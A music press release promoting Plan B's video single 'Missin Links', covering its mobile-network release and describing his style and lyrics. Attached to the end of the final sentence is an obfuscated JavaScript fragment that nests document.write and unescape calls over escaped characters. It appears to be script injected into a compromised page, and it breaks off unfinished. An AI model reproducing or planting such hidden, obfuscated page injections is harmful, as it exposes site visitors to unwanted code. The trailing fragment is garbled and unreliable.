Following swiftly on from the razor sharp beats and critical appraise of his recent limited 7†‘No Good', Plan B has put down his ever growing pile of One-Most-Likely-To cuttings to release his third offering Missin Links on April 17th.
This will be a video download release only. It will be available exclusively on the 17th April on the 3 Network for 24 hours. After 24 hours it will be available on all mobile networks.
‘Missin Links' showcases Plan B's increasing powerful storytelling and wordplay. It's a modern day chemical morality tale, a succinct demolition of the skewed priorities of people caught up in and dragged down by our all pervading drug culture.
Plan B's rapping is at times brutal, his erudite, often X-rated reportage can be as alarming as it is exciting. It's a sound that leaves music fans grasping at references. Nick Cave's murder ballads? Johnny Cash's 'Folsom Prison Blues'? Shut Up And Dance's 'Autobiography Of A Crackhead'? Eminem's sordid white-trash doggerel? Quentin Tarantino? It's a shocking, thrilling, extraordinary sound, one that's unlike anything you've every heard before.
Plan B is, as they say, no ordinary MC. He's as likely to be playing indie venues or folk clubs as he is hip hop jams or raves or R&B gigs. He can spit rhymes and hold his own against any MC or rapper, but can then suddenly switch into a delicate, sweet white soul croon that would shame any boyband member. He accompanies himself on an acoustic guitar, playing in a curiously folksy, fingerpicking style. But the killer punch is the lyrics - bleak, cinematic, X-rated urban poetry laced with a mordant wit and a strong dose of pathos.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
